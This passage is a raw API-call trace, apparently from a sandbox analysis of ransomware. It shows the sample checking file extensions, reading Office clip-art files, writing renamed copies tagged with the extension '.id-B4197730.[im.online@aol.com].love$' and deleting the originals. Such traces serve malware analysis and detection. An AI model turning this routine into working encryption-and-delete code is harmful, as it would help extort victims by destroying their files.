[0240.796] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.796] lstrlenW (lpString=".rar") returned 4 [0240.796] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.796] lstrlenW (lpString=".bz2") returned 4 [0240.796] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.796] lstrlenW (lpString=".7z") returned 3 [0240.796] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0240.796] lstrlenW (lpString=".dbf") returned 4 [0240.796] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0240.796] lstrlenW (lpString=".1cd") returned 4 [0240.796] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0240.796] lstrlenW (lpString=".jpg") returned 4 [0240.796] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0240.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0240.797] lstrlenW (lpString=".doc") returned 4 [0240.797] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.797] lstrlenW (lpString=".docx") returned 5 [0240.797] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0240.797] lstrlenW (lpString=".pdf") returned 4 [0240.797] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.797] lstrlenW (lpString=".xls") returned 4 [0240.797] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.797] lstrlenW (lpString=".xlsx") returned 5 [0240.797] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0240.797] lstrlenW (lpString=".ppt") returned 4 [0240.797] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0240.797] lstrlenW (lpString=".zip") returned 4 [0240.797] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.797] lstrlenW (lpString=".rar") returned 4 [0240.797] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.797] lstrlenW (lpString=".bz2") returned 4 [0240.797] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.797] lstrlenW (lpString=".7z") returned 3 [0240.797] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0240.797] lstrlenW (lpString=".dbf") returned 4 [0240.797] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0240.798] lstrlenW (lpString=".1cd") returned 4 [0240.798] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0240.798] lstrlenW (lpString=".jpg") returned 4 [0240.798] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.798] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0240.798] lstrlenW (lpString="CRANE.WMF") returned 9 [0240.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0240.799] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=5270) returned 1 [0240.799] CloseHandle (hObject=0x4c8) returned 1 [0240.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf")) returned 0x220 [0240.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0240.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0240.800] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.800] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0240.801] GetLastError () returned 0x0 [0240.801] ReadFile (in: hFile=0x4c8, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x1496, lpOverlapped=0x0) returned 1 [0240.803] WriteFile (in: hFile=0x488, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x14a0, lpOverlapped=0x0) returned 1 [0240.804] ReadFile (in: hFile=0x4c8, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0240.805] WriteFile (in: hFile=0x488, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xe6, lpOverlapped=0x0) returned 1 [0240.805] SetEndOfFile (hFile=0x488) returned 1 [0240.805] CloseHandle (hObject=0x488) returned 1 [0240.805] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.805] SetEndOfFile (hFile=0x4c8) returned 1 [0240.808] CloseHandle (hObject=0x4c8) returned 1 [0240.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0240.809] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf")) returned 1 [0240.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0240.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0240.811] lstrlenW (lpString=".doc") returned 4 [0240.811] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.811] lstrlenW (lpString=".docx") returned 5 [0240.811] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1 [0240.811] lstrlenW (lpString=".pdf") returned 4 [0240.811] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.811] lstrlenW (lpString=".xls") returned 4 [0240.811] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.811] lstrlenW (lpString=".xlsx") returned 5 [0240.811] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1 [0240.811] lstrlenW (lpString=".ppt") returned 4 [0240.811] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0240.811] lstrlenW (lpString=".zip") returned 4 [0240.811] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.811] lstrlenW (lpString=".rar") returned 4 [0240.811] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.811] lstrlenW (lpString=".bz2") returned 4 [0240.811] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.811] lstrlenW (lpString=".7z") returned 3 [0240.811] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0240.811] lstrlenW (lpString=".dbf") returned 4 [0240.811] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0240.812] lstrlenW (lpString=".1cd") returned 4 [0240.812] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0240.812] lstrlenW (lpString=".jpg") returned 4 [0240.812] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0240.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0240.812] lstrlenW (lpString=".doc") returned 4 [0240.812] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.812] lstrlenW (lpString=".docx") returned 5 [0240.812] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1 [0240.812] lstrlenW (lpString=".pdf") returned 4 [0240.812] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.812] lstrlenW (lpString=".xls") returned 4 [0240.812] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.812] lstrlenW (lpString=".xlsx") returned 5 [0240.812] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1 [0240.812] lstrlenW (lpString=".ppt") returned 4 [0240.812] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0240.812] lstrlenW (lpString=".zip") returned 4 [0240.812] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.812] lstrlenW (lpString=".rar") returned 4 [0240.813] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.813] lstrlenW (lpString=".bz2") returned 4 [0240.813] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.813] lstrlenW (lpString=".7z") returned 3 [0240.813] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0240.813] lstrlenW (lpString=".dbf") returned 4 [0240.813] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0240.813] lstrlenW (lpString=".1cd") returned 4 [0240.813] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0240.813] lstrlenW (lpString=".jpg") returned 4 [0240.813] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.813] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0240.813] lstrlenW (lpString="CRANINST.WMF") returned 12 [0240.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0240.814] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=49546) returned 1 [0240.814] CloseHandle (hObject=0x4c8) returned 1 [0240.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf")) returned 0x220 [0240.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0240.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0240.815] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.815] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0240.816] GetLastError () returned 0x0 [0240.816] ReadFile (in: hFile=0x4c8, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0xc18a, lpOverlapped=0x0) returned 1 [0241.216] WriteFile (in: hFile=0x488, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xc190, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xc190, lpOverlapped=0x0) returned 1 [0241.219] ReadFile (in: hFile=0x4c8, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.219] WriteFile (in: hFile=0x488, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0241.219] SetEndOfFile (hFile=0x488) returned 1 [0241.219] CloseHandle (hObject=0x488) returned 1 [0241.219] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.219] SetEndOfFile (hFile=0x4c8) returned 1 [0241.228] CloseHandle (hObject=0x4c8) returned 1 [0241.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0241.229] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf")) returned 1 [0241.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0241.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0241.230] lstrlenW (lpString=".doc") returned 4 [0241.230] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.230] lstrlenW (lpString=".docx") returned 5 [0241.230] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0241.230] lstrlenW (lpString=".pdf") returned 4 [0241.230] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.230] lstrlenW (lpString=".xls") returned 4 [0241.230] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.230] lstrlenW (lpString=".xlsx") returned 5 [0241.230] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0241.230] lstrlenW (lpString=".ppt") returned 4 [0241.230] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0241.230] lstrlenW (lpString=".zip") returned 4 [0241.230] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.230] lstrlenW (lpString=".rar") returned 4 [0241.230] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.231] lstrlenW (lpString=".bz2") returned 4 [0241.231] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.231] lstrlenW (lpString=".7z") returned 3 [0241.231] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0241.231] lstrlenW (lpString=".dbf") returned 4 [0241.231] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0241.231] lstrlenW (lpString=".1cd") returned 4 [0241.231] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0241.231] lstrlenW (lpString=".jpg") returned 4 [0241.231] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0241.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0241.231] lstrlenW (lpString=".doc") returned 4 [0241.231] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.231] lstrlenW (lpString=".docx") returned 5 [0241.231] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0241.231] lstrlenW (lpString=".pdf") returned 4 [0241.231] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.231] lstrlenW (lpString=".xls") returned 4 [0241.231] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.231] lstrlenW (lpString=".xlsx") returned 5 [0241.231] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0241.231] lstrlenW (lpString=".ppt") returned 4 [0241.231] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0241.232] lstrlenW (lpString=".zip") returned 4 [0241.232] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.232] lstrlenW (lpString=".rar") returned 4 [0241.232] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.232] lstrlenW (lpString=".bz2") returned 4 [0241.232] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.232] lstrlenW (lpString=".7z") returned 3 [0241.232] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0241.232] lstrlenW (lpString=".dbf") returned 4 [0241.232] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0241.232] lstrlenW (lpString=".1cd") returned 4 [0241.232] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0241.232] lstrlenW (lpString=".jpg") returned 4 [0241.232] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.232] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0241.232] lstrlenW (lpString="CUP.WMF") returned 7 [0241.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0241.233] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=2966) returned 1 [0241.233] CloseHandle (hObject=0x4c8) returned 1 [0241.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf")) returned 0x220 [0241.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0241.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0241.234] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.234] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0241.253] GetLastError () returned 0x0 [0241.253] ReadFile (in: hFile=0x4c8, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0xb96, lpOverlapped=0x0) returned 1 [0241.272] WriteFile (in: hFile=0x4e8, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xba0, lpOverlapped=0x0) returned 1 [0241.274] ReadFile (in: hFile=0x4c8, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.274] WriteFile (in: hFile=0x4e8, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xe2, lpOverlapped=0x0) returned 1 [0241.274] SetEndOfFile (hFile=0x4e8) returned 1 [0241.274] CloseHandle (hObject=0x4e8) returned 1 [0241.274] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.274] SetEndOfFile (hFile=0x4c8) returned 1 [0241.291] CloseHandle (hObject=0x4c8) returned 1 [0241.291] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0241.292] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf")) returned 1 [0241.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0241.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0241.293] lstrlenW (lpString=".doc") returned 4 [0241.293] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.293] lstrlenW (lpString=".docx") returned 5 [0241.293] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0241.293] lstrlenW (lpString=".pdf") returned 4 [0241.293] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.293] lstrlenW (lpString=".xls") returned 4 [0241.293] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.293] lstrlenW (lpString=".xlsx") returned 5 [0241.293] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0241.293] lstrlenW (lpString=".ppt") returned 4 [0241.293] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0241.293] lstrlenW (lpString=".zip") returned 4 [0241.293] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.293] lstrlenW (lpString=".rar") returned 4 [0241.293] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.293] lstrlenW (lpString=".bz2") returned 4 [0241.293] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.293] lstrlenW (lpString=".7z") returned 3 [0241.293] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0241.294] 